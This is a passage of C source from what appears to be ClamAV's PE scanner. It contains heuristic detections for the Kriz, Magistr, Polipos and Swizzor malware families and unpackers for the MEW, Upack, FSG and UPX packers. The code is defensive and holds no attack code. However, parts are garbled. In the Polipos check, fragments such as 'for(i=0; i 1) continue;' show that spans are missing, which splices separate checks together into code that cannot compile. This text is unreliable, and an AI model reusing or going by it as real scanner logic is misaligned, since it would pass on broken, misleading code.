KZSPDELTA:\n\t\tif((op&0xf8)==0x58 && (kzdptr=op-0x58)!=4) {\n\t\t kzstate++;\n\t\t cli_dbgmsg(\"kriz: using #%d as pointer\\n\", kzdptr);\n\t\t} else *kzstate=KZSTOP;\n\t\tbreak;\n\t case KZSXORPRFX:\n\t\tkzstate++;\n\t\tif(op==0x3e) break;\n\t case KZSXOR:\n\t\tif (op==0x80 && *kzcode==kzdptr+0xb0) {\n\t\t kzxorlen=kzlen;\n\t\t kzcode+=+6;\n\t\t kzlen-=+6;\n\t\t kzstate++;\n\t\t} else *kzstate=KZSTOP;\n\t\tbreak;\n\t case KZSDDELTA:\n\t\tif (op==kzdptr+0x48) kzstate++;\n\t\telse *kzstate=KZSTOP;\n\t\tbreak;\n\t case KZSLOOP:\n\t\tif (op==kzdsize+0x48 && *kzcode==0x75 && kzlen-(int8_t)kzcode[1]-3<=kzinitlen && kzlen-(int8_t)kzcode[1]>=kzxorlen) {\n\t\t cli_append_virus(ctx,\"Heuristics.W32.Kriz\");\n\t\t free(exe_sections);\n\t\t if (!SCAN_ALL)\n\t\t\treturn CL_VIRUS;\n\t\t viruses_found++;\n\t\t}\n\t\tcli_dbgmsg(\"kriz: loop out of bounds, corrupted sample?\\n\");\n\t\tkzstate++;\n\t }\n\t}\n }\n\n /* W32.Magistr.A/B */\n if(SCAN_ALGO && (DCONF & PE_CONF_MAGISTR) && !dll && (nsections>1) && (exe_sections[nsections - 1].chr & 0x80000000)) {\n uint32_t rsize, vsize, dam = 0;\n\n\tvsize = exe_sections[nsections - 1].uvsz;\n\trsize = exe_sections[nsections - 1].rsz;\n\tif(rsize < exe_sections[nsections - 1].ursz) {\n\t rsize = exe_sections[nsections - 1].ursz;\n\t dam = 1;\n\t}\n\n\tif(vsize >= 0x612c && rsize >= 0x612c && ((vsize & 0xff) == 0xec)) {\n\t\tint bw = rsize < 0x7000 ? rsize : 0x7000;\n\t\tchar *tbuff;\n\n\t if((tbuff = fmap_need_off_once(map, exe_sections[nsections - 1].raw + rsize - bw, 4096))) {\n\t\tif(cli_memstr(tbuff, 4091, \"\\xe8\\x2c\\x61\\x00\\x00\", 5)) {\n\t\t cli_append_virus(ctx, dam ? \"Heuristics.W32.Magistr.A.dam\" : \"Heuristics.W32.Magistr.A\");\n\t\t free(exe_sections);\n\t\t if (!SCAN_ALL)\n\t\t\treturn CL_VIRUS;\n\t\t viruses_found++;\n\t\t}\n\t }\n\n\t} else if(rsize >= 0x7000 && vsize >= 0x7000 && ((vsize & 0xff) == 0xed)) {\n\t\tint bw = rsize < 0x8000 ? rsize : 0x8000;\n\t\tchar *tbuff;\n\n\t if((tbuff = fmap_need_off_once(map, exe_sections[nsections - 1].raw + rsize - bw, 4096))) {\n\t\tif(cli_memstr(tbuff, 4091, \"\\xe8\\x04\\x72\\x00\\x00\", 5)) {\n\t\t cli_append_virus(ctx,dam ? \"Heuristics.W32.Magistr.B.dam\" : \"Heuristics.W32.Magistr.B\");\n\t\t free(exe_sections);\n\t\t if (!SCAN_ALL)\n\t\t\treturn CL_VIRUS;\n\t\t viruses_found++;\n\t\t} \n\t }\n\t}\n }\n\n /* W32.Polipos.A */\n while(polipos && !dll && nsections > 2 && nsections < 13 && e_lfanew <= 0x800 && (EC16(optional_hdr32.Subsystem) == 2 || EC16(optional_hdr32.Subsystem) == 3) && EC16(file_hdr.Machine) == 0x14c && optional_hdr32.SizeOfStackReserve >= 0x80000) {\n\tuint32_t jump, jold, *jumps = NULL;\n\tuint8_t *code;\n\tunsigned int xsjs = 0;\n\n\tif(exe_sections[0].rsz > CLI_MAX_ALLOCATION) break;\n\n\tif(!exe_sections[0].rsz) break;\n\tif(!(code=fmap_need_off_once(map, exe_sections[0].raw, exe_sections[0].rsz))) break;\n\tfor(i=0; i 1) continue;\n\t jump = cli_rawaddr(exe_sections[0].rva+i+5+cli_readint32(&code[i+1]), exe_sections, nsections, &err, fsize, hdr_size);\n\t if(err || !CLI_ISCONTAINED(exe_sections[polipos].raw, exe_sections[polipos].rsz, jump, 9)) continue;\n\t if(xsjs % 128 == 0) {\n\t\tif(xsjs == 1280) break;\n\t\tif(!(jumps=(uint32_t *)cli_realloc2(jumps, (xsjs+128)*sizeof(uint32_t)))) {\n\t\t free(exe_sections);\n\t\t return CL_EMEM;\n\t\t}\n\t }\n\t j=0;\n\t for(; j 1 && fsize > 64*1024 && fsize < 4*1024*1024) {\n\t if(dirs[2].Size) {\n\t\t struct swizz_stats *stats = cli_calloc(1, sizeof(*stats));\n\t\t unsigned int m = 1000;\n\t\t ret = CL_CLEAN;\n\n\t\t if (!stats)\n\t\t\t ret = CL_EMEM;\n\t\t else {\n\t\t\t cli_parseres_special(EC32(dirs[2].VirtualAddress), EC32(dirs[2].VirtualAddress), map, exe_sections, nsections, fsize, hdr_size, 0, 0, &m, stats);\n\t\t\t if ((ret = cli_detect_swizz(stats)) == CL_VIRUS) {\n\t\t\t\tcli_append_virus(ctx,\"Heuristics.Trojan.Swizzor.Gen\");\n\t\t\t }\n\t\t\t free(stats);\n\t\t }\n\t\t if (ret != CL_CLEAN) {\n\t\t\tif (!(ret == CL_VIRUS && SCAN_ALL)) {\n\t\t\t free(exe_sections);\n\t\t\t return ret;\n\t\t\t}\n\t\t\tviruses_found++;\n\t\t }\n\t }\n }\n\n\n /* !!!!!!!!!!!!!! PACKERS START HERE !!!!!!!!!!!!!! */\n corrupted_cur = ctx->corrupted_input;\n ctx->corrupted_input = 2; /* caller will reset on return */\n\n\n /* UPX, FSG, MEW support */\n\n /* try to find the first section with physical size == 0 */\n found = 0;\n if(DCONF & (PE_CONF_UPX | PE_CONF_FSG | PE_CONF_MEW)) {\n\tfor(i = 0; i < (unsigned int) nsections - 1; i++) {\n\t if(!exe_sections[i].rsz && exe_sections[i].vsz && exe_sections[i + 1].rsz && exe_sections[i + 1].vsz) {\n\t\tfound = 1;\n\t\tcli_dbgmsg(\"UPX/FSG/MEW: empty section found - assuming compression\\n\");\n\t\tbreak;\n\t }\n\t}\n }\n\n /* MEW support */\n if (found && (DCONF & PE_CONF_MEW) && epsize>=16 && epbuff[0]=='\\xe9') {\n\tuint32_t fileoffset;\n\tchar *tbuff;\n\n\tfileoffset = (vep + cli_readint32(epbuff + 1) + 5);\n\twhile (fileoffset == 0x154 || fileoffset == 0x158) {\n\t uint32_t offdiff, uselzma;\n\n\t cli_dbgmsg (\"MEW: found MEW characteristics %08X + %08X + 5 = %08X\\n\", \n\t\t\tcli_readint32(epbuff + 1), vep, cli_readint32(epbuff + 1) + vep + 5);\n\n\t if(!(tbuff = fmap_need_off_once(map, fileoffset, 0xb0)))\n\t\tbreak;\n\t if (fileoffset == 0x154) cli_dbgmsg(\"MEW: Win9x compatibility was set!\\n\");\n\t else cli_dbgmsg(\"MEW: Win9x compatibility was NOT set!\\n\");\n\n\t if((offdiff = cli_readint32(tbuff+1) - EC32(optional_hdr32.ImageBase)) <= exe_sections[i + 1].rva || offdiff >= exe_sections[i + 1].rva + exe_sections[i + 1].raw - 4) {\n\t cli_dbgmsg(\"MEW: ESI is not in proper section\\n\");\n\t\tbreak;\n\t }\n\t offdiff -= exe_sections[i + 1].rva;\n\n\t if(!exe_sections[i + 1].rsz) {\n\t\tcli_dbgmsg(\"MEW: mew section is empty\\n\");\n\t\tbreak;\n\t }\n\t ssize = exe_sections[i + 1].vsz;\n\t dsize = exe_sections[i].vsz;\n\n\t cli_dbgmsg(\"MEW: ssize %08x dsize %08x offdiff: %08x\\n\", ssize, dsize, offdiff);\n\n\t CLI_UNPSIZELIMITS(\"MEW\", MAX(ssize, dsize));\n\t CLI_UNPSIZELIMITS(\"MEW\", MAX(ssize + dsize, exe_sections[i + 1].rsz));\n\n\t if (exe_sections[i + 1].rsz < offdiff + 12 || exe_sections[i + 1].rsz > ssize) {\n\t cli_dbgmsg(\"MEW: Size mismatch: %08x\\n\", exe_sections[i + 1].rsz);\n\t\tbreak;\n\t }\n\n\t /* allocate needed buffer */\n\t if (!(src = cli_calloc (ssize + dsize, sizeof(char)))) {\n\t free(exe_sections);\n\t\treturn CL_EMEM;\n\t }\n\n\t if((bytes = fmap_readn(map, src + dsize, exe_sections[i + 1].raw, exe_sections[i + 1].rsz)) != exe_sections[i + 1].rsz) {\n\t\tcli_dbgmsg(\"MEW: Can't read %d bytes [read: %lu]\\n\", exe_sections[i + 1].rsz, (unsigned long)bytes);\n\t\tfree(exe_sections);\n\t\tfree(src);\n\t\treturn CL_EREAD;\n\t }\n\t cli_dbgmsg(\"MEW: %u (%08x) bytes read\\n\", (unsigned int)bytes, (unsigned int)bytes);\n\n\t /* count offset to lzma proc, if lzma used, 0xe8 -> call */\n\t if (tbuff[0x7b] == '\\xe8') {\n\t if (!CLI_ISCONTAINED(exe_sections[1].rva, exe_sections[1].vsz, cli_readint32(tbuff + 0x7c) + fileoffset + 0x80, 4)) {\n\t\t cli_dbgmsg(\"MEW: lzma proc out of bounds!\\n\");\n\t\t free(src);\n\t\t break; /* to next unpacker in chain */\n\t\t}\n\t\tuselzma = cli_readint32(tbuff + 0x7c) - (exe_sections[0].rva - fileoffset - 0x80);\n\t } else {\n\t uselzma = 0;\n\t }\n\n\t CLI_UNPTEMP(\"MEW\",(src,exe_sections,0));\n\t CLI_UNPRESULTS(\"MEW\",(unmew11(src, offdiff, ssize, dsize, EC32(optional_hdr32.ImageBase), exe_sections[0].rva, uselzma, ndesc)),1,(src,0));\n\t break;\n\t}\n }\n\n if(epsize<168) {\n\tfree(exe_sections);\n\treturn CL_CLEAN;\n }\n\n if (found || upack) {\n\t/* Check EP for UPX vs. FSG vs. Upack */\n\n\t/* Upack 0.39 produces 2 types of executables\n\t * 3 sections: | 2 sections (one empty, I don't chech found if !upack, since it's in OR above):\n\t * mov esi, value | pusha\n\t * lodsd | call $+0x9\n\t * push eax |\n\t *\n\t * Upack 1.1/1.2 Beta produces [based on 2 samples (sUx) provided by aCaB]:\n\t * 2 sections\n\t * mov esi, value\n\t * loads\n\t * mov edi, eax\n\t *\n\t * Upack unknown [sample 0297729]\n\t * 3 sections\n\t * mov esi, value\n\t * push [esi]\n\t * jmp\n\t * \n\t */\n\t/* upack 0.39-3s + sample 0151477*/\n \twhile(((upack && nsections == 3) && /* 3 sections */\n\t ((\n\t epbuff[0] == '\\xbe' && cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase) > min && /* mov esi */\n\t epbuff[5] == '\\xad' && epbuff[6] == '\\x50' /* lodsd; push eax */\n\t )\n\t || \n\t /* based on 0297729 sample from aCaB */\n\t (epbuff[0] == '\\xbe' && cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase) > min && /* mov esi */\n\t epbuff[5] == '\\xff' && epbuff[6] == '\\x36' /* push [esi] */\n\t )\n\t )) \n\t ||\n\t ((!upack && nsections == 2) && /* 2 sections */\n\t (( /* upack 0.39-2s */\n\t epbuff[0] == '\\x60' && epbuff[1] == '\\xe8' && cli_readint32(epbuff+2) == 0x9 /* pusha; call+9 */\n\t )\n\t ||\n\t ( /* upack 1.1/1.2, based on 2 samples */\n\t epbuff[0] == '\\xbe' && cli_readint32(epbuff+1) - EC32(optional_hdr32.ImageBase) < min && /* mov esi */\n\t cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase) > 0 &&\n\t epbuff[5] == '\\xad' && epbuff[6] == '\\x8b' && epbuff[7] == '\\xf8' /* loads; mov edi, eax */\n\t )\n\t ))\n\t ) { \n\t uint32_t vma, off;\n\t int a,b,c;\n\n\t cli_dbgmsg(\"Upack characteristics found.\\n\");\n\t a = exe_sections[0].vsz;\n\t b = exe_sections[1].vsz;\n\t if (upack) {\n\t cli_dbgmsg(\"Upack: var set\\n\");\n\t\tc = exe_sections[2].vsz;\n\t\tssize = exe_sections[0].ursz + exe_sections[0].uraw;\n\t\toff = exe_sections[0].rva;\n\t\tvma = EC32(optional_hdr32.ImageBase) + exe_sections[0].rva;\n\t } else {\n\t cli_dbgmsg(\"Upack: var NOT set\\n\");\n\t\tc = exe_sections[1].rva;\n\t\tssize = exe_sections[1].uraw;\n\t\toff = 0;\n\t\tvma = exe_sections[1].rva - exe_sections[1].uraw;\n\t }\n\n\t dsize = a+b+c;\n\n\t CLI_UNPSIZELIMITS(\"Upack\", MAX(MAX(dsize, ssize), exe_sections[1].ursz));\n\n\t if (!CLI_ISCONTAINED(0, dsize, exe_sections[1].rva - off, exe_sections[1].ursz) || (upack && !CLI_ISCONTAINED(0, dsize, exe_sections[2].rva - exe_sections[0].rva, ssize)) || ssize > dsize) {\n\t cli_dbgmsg(\"Upack: probably malformed pe-header, skipping to next unpacker\\n\");\n\t\tbreak;\n\t }\n\t\t\t\n\t if((dest = (char *) cli_calloc(dsize, sizeof(char))) == NULL) {\n\t free(exe_sections);\n\t\treturn CL_EMEM;\n\t }\n\n\t if(fmap_readn(map, dest, 0, ssize) != ssize) {\n\t cli_dbgmsg(\"Upack: Can't read raw data of section 0\\n\");\n\t\tfree(dest);\n\t\tbreak;\n\t }\n\n\t if(upack) memmove(dest + exe_sections[2].rva - exe_sections[0].rva, dest, ssize);\n\n\t if(fmap_readn(map, dest + exe_sections[1].rva - off, exe_sections[1].uraw, exe_sections[1].ursz) != exe_sections[1].ursz) {\n\t\tcli_dbgmsg(\"Upack: Can't read raw data of section 1\\n\");\n\t\tfree(dest);\n\t\tbreak;\n\t }\n\n\t CLI_UNPTEMP(\"Upack\",(dest,exe_sections,0));\n\t CLI_UNPRESULTS(\"Upack\",(unupack(upack, dest, dsize, epbuff, vma, ep, EC32(optional_hdr32.ImageBase), exe_sections[0].rva, ndesc)),1,(dest,0));\n\t break;\n\t}\n }\n\n \n while(found && (DCONF & PE_CONF_FSG) && epbuff[0] == '\\x87' && epbuff[1] == '\\x25') {\n\n\t/* FSG v2.0 support - thanks to aCaB ! */\n\n\tuint32_t newesi, newedi, newebx, newedx;\n\t\n\tssize = exe_sections[i + 1].rsz;\n\tdsize = exe_sections[i].vsz;\n\n\tCLI_UNPSIZELIMITS(\"FSG\", MAX(dsize, ssize));\n\n\tif(ssize <= 0x19 || dsize <= ssize) {\n\t cli_dbgmsg(\"FSG: Size mismatch (ssize: %d, dsize: %d)\\n\", ssize, dsize);\n\t free(exe_sections);\n\t return CL_CLEAN;\n\t}\n\t\n\tnewedx = cli_readint32(epbuff + 2) - EC32(optional_hdr32.ImageBase);\n\tif(!CLI_ISCONTAINED(exe_sections[i + 1].rva, exe_sections[i + 1].rsz, newedx, 4)) {\n\t cli_dbgmsg(\"FSG: xchg out of bounds (%x), giving up\\n\", newedx);\n\t break;\n\t}\n\t\n\tif(!exe_sections[i + 1].rsz || !(src = fmap_need_off_once(map, exe_sections[i + 1].raw, ssize))) {\n\t cli_dbgmsg(\"Can't read raw data of section %d\\n\", i + 1);\n\t free(exe_sections);\n\t return CL_ESEEK;\n\t}\n\n\tdest = src + newedx - exe_sections[i + 1].rva;\n\tif(newedx < exe_sections[i + 1].rva || !CLI_ISCONTAINED(src, ssize, dest, 4)) {\n\t cli_dbgmsg(\"FSG: New ESP out of bounds\\n\");\n\t break;\n\t}\n\n\tnewedx = cli_readint32(dest) - EC32(optional_hdr32.ImageBase);\n\tif(!CLI_ISCONTAINED(exe_sections[i + 1].rva, exe_sections[i + 1].rsz, newedx, 4)) {\n\t cli_dbgmsg(\"FSG: New ESP (%x) is wrong\\n\", newedx);\n\t break;\n\t}\n \n\tdest = src + newedx - exe_sections[i + 1].rva;\n\tif(!CLI_ISCONTAINED(src, ssize, dest, 32)) {\n\t cli_dbgmsg(\"FSG: New stack out of bounds\\n\");\n\t break;\n\t}\n\n\tnewedi = cli_readint32(dest) - EC32(optional_hdr32.ImageBase);\n\tnewesi = cli_readint32(dest + 4) - EC32(optional_hdr32.ImageBase);\n\tnewebx = cli_readint32(dest + 16) - EC32(optional_hdr32.ImageBase);\n\tnewedx = cli_readint32(dest + 20);\n\n\tif(newedi != exe_sections[i].rva) {\n\t cli_dbgmsg(\"FSG: Bad destination buffer (edi is %x should be %x)\\n\", newedi, exe_sections[i].rva);\n\t break;\n\t}\n\n\tif(newesi < exe_sections[i + 1].rva || newesi - exe_sections[i + 1].rva >= exe_sections[i + 1].rsz) {\n\t cli_dbgmsg(\"FSG: Source buffer out of section bounds\\n\");\n\t break;\n\t}\n\n\tif(!CLI_ISCONTAINED(exe_sections[i + 1].rva, exe_sections[i + 1].rsz, newebx, 16)) {\n\t cli_dbgmsg(\"FSG: Array of functions out of bounds\\n\");\n\t break;\n\t}\n\n\tnewedx=cli_readint32(newebx + 12 - exe_sections[i + 1].rva + src) - EC32(optional_hdr32.ImageBase);\n\tcli_dbgmsg(\"FSG: found old EP @%x\\n\",newedx);\n\n\tif((dest = (char *) cli_calloc(dsize, sizeof(char))) == NULL) {\n\t free(exe_sections);\n\t free(src);\n\t return CL_EMEM;\n\t}\n\n\tCLI_UNPTEMP(\"FSG\",(dest,exe_sections,0));\n\tCLI_UNPRESULTSFSG2(\"FSG\",(unfsg_200(newesi - exe_sections[i + 1].rva + src, dest, ssize + exe_sections[i + 1].rva - newesi, dsize, newedi, EC32(optional_hdr32.ImageBase), newedx, ndesc)),1,(dest,0));\n\tbreak;\n }\n\n\n while(found && (DCONF & PE_CONF_FSG) && epbuff[0] == '\\xbe' && cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase) < min) {\n\n\t/* FSG support - v. 1.33 (thx trog for the many samples) */\n\n\tint sectcnt = 0;\n\tchar *support;\n\tuint32_t newesi, newedi, oldep, gp, t;\n\tstruct cli_exe_section *sections;\n\n\tssize = exe_sections[i + 1].rsz;\n\tdsize = exe_sections[i].vsz;\n\n\tCLI_UNPSIZELIMITS(\"FSG\", MAX(dsize, ssize));\n\n\tif(ssize <= 0x19 || dsize <= ssize) {\n\t cli_dbgmsg(\"FSG: Size mismatch (ssize: %d, dsize: %d)\\n\", ssize, dsize);\n\t free(exe_sections);\n\t return CL_CLEAN;\n\t}\n\n\tif(!(t = cli_rawaddr(cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase), NULL, 0 , &err, fsize, hdr_size)) && err ) {\n\t cli_dbgmsg(\"FSG: Support data out of padding area\\n\");\n\t break;\n\t}\n\n\tgp = exe_sections[i + 1].raw - t;\n\n\tCLI_UNPSIZELIMITS(\"FSG\", gp);\n\n\tif(!(support = fmap_need_off_once(map, t, gp))) {\n\t cli_dbgmsg(\"Can't read %d bytes from padding area\\n\", gp); \n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n\n\t/* newebx = cli_readint32(support) - EC32(optional_hdr32.ImageBase); Unused */\n\tnewedi = cli_readint32(support + 4) - EC32(optional_hdr32.ImageBase); /* 1st dest */\n\tnewesi = cli_readint32(support + 8) - EC32(optional_hdr32.ImageBase); /* Source */\n\n\tif(newesi < exe_sections[i + 1].rva || newesi - exe_sections[i + 1].rva >= exe_sections[i + 1].rsz) {\n\t cli_dbgmsg(\"FSG: Source buffer out of section bounds\\n\");\n\t break;\n\t}\n\n\tif(newedi != exe_sections[i].rva) {\n\t cli_dbgmsg(\"FSG: Bad destination (is %x should be %x)\\n\", newedi, exe_sections[i].rva);\n\t break;\n\t}\n\n\t/* Counting original sections */\n\tfor(t = 12; t < gp - 4; t += 4) {\n\t uint32_t rva = cli_readint32(support+t);\n\n\t if(!rva)\n\t\tbreak;\n\n\t rva -= EC32(optional_hdr32.ImageBase)+1;\n\t sectcnt++;\n\n\t if(rva % 0x1000) cli_dbgmsg(\"FSG: Original section %d is misaligned\\n\", sectcnt);\n\n\t if(rva < exe_sections[i].rva || rva - exe_sections[i].rva >= exe_sections[i].vsz) {\n\t\tcli_dbgmsg(\"FSG: Original section %d is out of bounds\\n\", sectcnt);\n\t\tbreak;\n\t }\n\t}\n\n\tif(t >= gp - 4 || cli_readint32(support + t)) {\n\t break;\n\t}\n\n\tif((sections = (struct cli_exe_section *) cli_malloc((sectcnt + 1) * sizeof(struct cli_exe_section))) == NULL) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\n\tsections[0].rva = newedi;\n\tfor(t = 1; t <= (uint32_t)sectcnt; t++)\n\t sections[t].rva = cli_readint32(support + 8 + t * 4) - 1 - EC32(optional_hdr32.ImageBase);\n\n\tif(!exe_sections[i + 1].rsz || !(src = fmap_need_off_once(map, exe_sections[i + 1].raw, ssize))) {\n\t cli_dbgmsg(\"Can't read raw data of section %d\\n\", i);\n\t free(exe_sections);\n\t free(sections);\n\t return CL_EREAD;\n\t}\n\n\tif((dest = (char *) cli_calloc(dsize, sizeof(char))) == NULL) {\n\t free(exe_sections);\n\t free(sections);\n\t return CL_EMEM;\n\t}\n\n\toldep = vep + 161 + 6 + cli_readint32(epbuff+163);\n\tcli_dbgmsg(\"FSG: found old EP @%x\\n\", oldep);\n\n\tCLI_UNPTEMP(\"FSG\",(dest,sections,exe_sections,0));\n\tCLI_UNPRESULTSFSG1(\"FSG\",(unfsg_133(src + newesi - exe_sections[i + 1].rva, dest, ssize + exe_sections[i + 1].rva - newesi, dsize, sections, sectcnt, EC32(optional_hdr32.ImageBase), oldep, ndesc)),1,(dest,sections,0));\n\tbreak; /* were done with 1.33 */\n }\n\n\n while(found && (DCONF & PE_CONF_FSG) && epbuff[0] == '\\xbb' && cli_readint32(epbuff + 1) - EC32(optional_hdr32.ImageBase) < min && epbuff[5] == '\\xbf' && epbuff[10] == '\\xbe' && vep >= exe_sections[i + 1].rva && vep - exe_sections[i + 1].rva > exe_sections[i + 1].rva - 0xe0 ) {\n\n\t/* FSG support - v. 1.31 */\n\n\tint sectcnt = 0;\n\tuint32_t gp, t = cli_rawaddr(cli_readint32(epbuff+1) - EC32(optional_hdr32.ImageBase), NULL, 0 , &err, fsize, hdr_size);\n\tchar *support;\n\tuint32_t newesi = cli_readint32(epbuff+11) - EC32(optional_hdr32.ImageBase);\n\tuint32_t newedi = cli_readint32(epbuff+6) - EC32(optional_hdr32.ImageBase);\n\tuint32_t oldep = vep - exe_sections[i + 1].rva;\n\tstruct cli_exe_section *sections;\n\n\tssize = exe_sections[i + 1].rsz;\n\tdsize = exe_sections[i].vsz;\n\n\tif(err) {\n\t cli_dbgmsg(\"FSG: Support data out of padding area\\n\");\n\t break;\n\t}\n\n\tif(newesi < exe_sections[i + 1].rva || newesi - exe_sections[i + 1].rva >= exe_sections[i + 1].raw) {\n\t cli_dbgmsg(\"FSG: Source buffer out of section bounds\\n\");\n\t break;\n\t}\n\n\tif(newedi != exe_sections[i].rva) {\n\t cli_dbgmsg(\"FSG: Bad destination (is %x should be %x)\\n\", newedi, exe_sections[i].rva);\n\t break;\n\t}\n\n\tCLI_UNPSIZELIMITS(\"FSG\", MAX(dsize, ssize));\n\n\tif(ssize <= 0x19 || dsize <= ssize) {\n\t cli_dbgmsg(\"FSG: Size mismatch (ssize: %d, dsize: %d)\\n\", ssize, dsize);\n\t free(exe_sections);\n\t return CL_CLEAN;\n\t}\n\n\tgp = exe_sections[i + 1].raw - t;\n\n\tCLI_UNPSIZELIMITS(\"FSG\", gp)\n\n\tif(!(support = fmap_need_off_once(map, t, gp))) {\n\t cli_dbgmsg(\"Can't read %d bytes from padding area\\n\", gp); \n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n\n\t/* Counting original sections */\n\tfor(t = 0; t < gp - 2; t += 2) {\n\t uint32_t rva = support[t]|(support[t+1]<<8);\n\n\t if (rva == 2 || rva == 1)\n\t\tbreak;\n\n\t rva = ((rva-2)<<12) - EC32(optional_hdr32.ImageBase);\n\t sectcnt++;\n\n\t if(rva < exe_sections[i].rva || rva - exe_sections[i].rva >= exe_sections[i].vsz) {\n\t\tcli_dbgmsg(\"FSG: Original section %d is out of bounds\\n\", sectcnt);\n\t\tbreak;\n\t }\n\t}\n\n\tif(t >= gp-10 || cli_readint32(support + t + 6) != 2) {\n\t break;\n\t}\n\n\tif((sections = (struct cli_exe_section *) cli_malloc((sectcnt + 1) * sizeof(struct cli_exe_section))) == NULL) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\n\tsections[0].rva = newedi;\n\tfor(t = 0; t <= (uint32_t)sectcnt - 1; t++) {\n\t sections[t+1].rva = (((support[t*2]|(support[t*2+1]<<8))-2)<<12)-EC32(optional_hdr32.ImageBase);\n\t}\n\n\tif(!exe_sections[i + 1].rsz || !(src = fmap_need_off_once(map, exe_sections[i + 1].raw, ssize))) {\n\t cli_dbgmsg(\"FSG: Can't read raw data of section %d\\n\", i);\n\t free(exe_sections);\n\t free(sections);\n\t return CL_EREAD;\n\t}\n\n\tif((dest = (char *) cli_calloc(dsize, sizeof(char))) == NULL) {\n\t free(exe_sections);\n\t free(sections);\n\t return CL_EMEM;\n\t}\n\n\tgp = 0xda + 6*(epbuff[16]=='\\xe8');\n\toldep = vep + gp + 6 + cli_readint32(src+gp+2+oldep);\n\tcli_dbgmsg(\"FSG: found old EP @%x\\n\", oldep);\n\n\tCLI_UNPTEMP(\"FSG\",(dest,sections,exe_sections,0));\n\tCLI_UNPRESULTSFSG1(\"FSG\",(unfsg_133(src + newesi - exe_sections[i + 1].rva, dest, ssize + exe_sections[i + 1].rva - newesi, dsize, sections, sectcnt, EC32(optional_hdr32.ImageBase), oldep, ndesc)),1,(dest,sections,0));\n\tbreak; /* were done with 1.31 */\n }\n\n\n if(found && (DCONF & PE_CONF_UPX)) {\n\n\t/* UPX support */\n\n\t/* we assume (i + 1) is UPX1 */\n\tssize = exe_sections[i + 1].rsz;\n\tdsize = exe_sections[i].vsz + exe_sections[i + 1].vsz;\n\n\tCLI_UNPSIZELIMITS(\"UPX\", MAX(dsize, ssize));\n\n\tif(ssize <= 0x19 || dsize <= ssize || dsize > CLI_MAX_ALLOCATION ) {\n\t cli_dbgmsg(\"UPX: Size mismatch or dsize too big (ssize: %d, dsize: %d)\\n\", ssize, dsize);\n\t free(exe_sections);\n\t return CL_CLEAN;\n\t}\n\n\tif(!exe_sections[i + 1].rsz || !(src = fmap_need_off_once(map, exe_sections[i + 1].raw, ssize))) {\n\t cli_dbgmsg(\"UPX: Can't read raw data of section %d\\n\", i+1);\n\t free(exe_sections);\n\t return CL_EREAD;\n\t}\n\n\tif((dest = (char *) cli_calloc(dsize + 8192, sizeof(char))) == NULL) {\n\t free(exe_sections);\n\t return CL_EMEM;\n\t}\n\n\t/* try to detect UPX code */\n\tif(cli_memstr(UPX_NRV2B, 24, epbuff + 0x69, 13) || cli_memstr(UPX_NRV2B, 24, epbuff + 0x69 + 8, 13)) {\n\t cli_dbgmsg(\"UPX: Looks like a NRV2B decompression routine\\n\");\n\t upxfn = upx_inflate2b;\n\t} else if(cli_memstr(UPX_NRV2D, 24, epbuff + 0x69, 13) || cli_memstr(UPX_NRV2D, 24, epbuff + 0x69 + 8, 13)) {\n\t cli_dbgmsg(\"UPX: Looks like a NRV2D decompression routine\\n\");\n\t upxfn = upx_inflate2d;\n\t} else if(cli_memstr(UPX_NRV2E, 24, epbuff + 0x69, 13) || cli_memstr(UPX_NRV2E, 24, epbuff + 0x69 + 8, 13)) {\n\t cli_dbgmsg(\"UPX: Looks like a NRV2E decompression routine\\n\");\n\t upxfn = upx_inflate2e;\n\t}\n\n\tif(upxfn) {\n\t int skew = cli_readint32(epbuff + 2) - EC32(optional_hdr32.ImageBase) - exe_sections[i + 1].rva;\n\n\t if(epbuff[1] != '\\xbe' || skew <= 0 || skew > 0xfff) { /* FIXME: legit skews?? */\n\t\tskew = 0; \n\t\tif(upxfn(src, ssize, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) >= 0)\n\t\t upx_success = 1;\n\n\t } else {\n\t\tcli_dbgmsg(\"UPX: UPX1 seems skewed by %d bytes\\n\", skew);\n\t\tif(upxfn(src + skew, ssize - skew, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep-skew) >= 0 || upxfn(src, ssize, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) >= 0)\n\t\t upx_success = 1;\n\t }\n\n\t if(upx_success)\n\t\tcli_dbgmsg(\"UPX: Successfully decompressed\\n\");\n\t else\n\t\tcli_dbgmsg(\"UPX: Preferred decompressor failed\\n\");\n\t}\n\n\tif(!upx_success && upxfn != upx_inflate2b) {\n\t if(upx_inflate2b(src, ssize, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) == -1 && upx_inflate2b(src + 0x15, ssize - 0x15, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep - 0x15) == -1) {\n\n\t\tcli_dbgmsg(\"UPX: NRV2B decompressor failed\\n\");\n\t } else {\n\t\tupx_success = 1;\n\t\tcli_dbgmsg(\"UPX: Successfully decompressed with NRV2B\\n\");\n\t }\n\t}\n\n\tif(!upx_success && upxfn != upx_inflate2d) {\n\t if(upx_inflate2d(src, ssize, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) == -1 && upx_inflate2d(src + 0x15, ssize - 0x15, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep - 0x15) == -1) {\n\n\t\tcli_dbgmsg(\"UPX: NRV2D decompressor failed\\n\");\n\t } else {\n\t\tupx_success = 1;\n\t\tcli_dbgmsg(\"UPX: Successfully decompressed with NRV2D\\n\");\n\t }\n\t}\n\n\tif(!upx_success && upxfn != upx_inflate2e) {\n\t if(upx_inflate2e(src, ssize, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep) == -1 && upx_inflate2e(src + 0x15, ssize - 0x15, dest, &dsize, exe_sections[i].rva, exe_sections[i + 1].rva, vep - 0x15) == -1) {\n\t\tcli_dbgmsg(\"UPX: NRV2E decompressor failed\\n\");\n\t } else {\n\t\tupx_success = 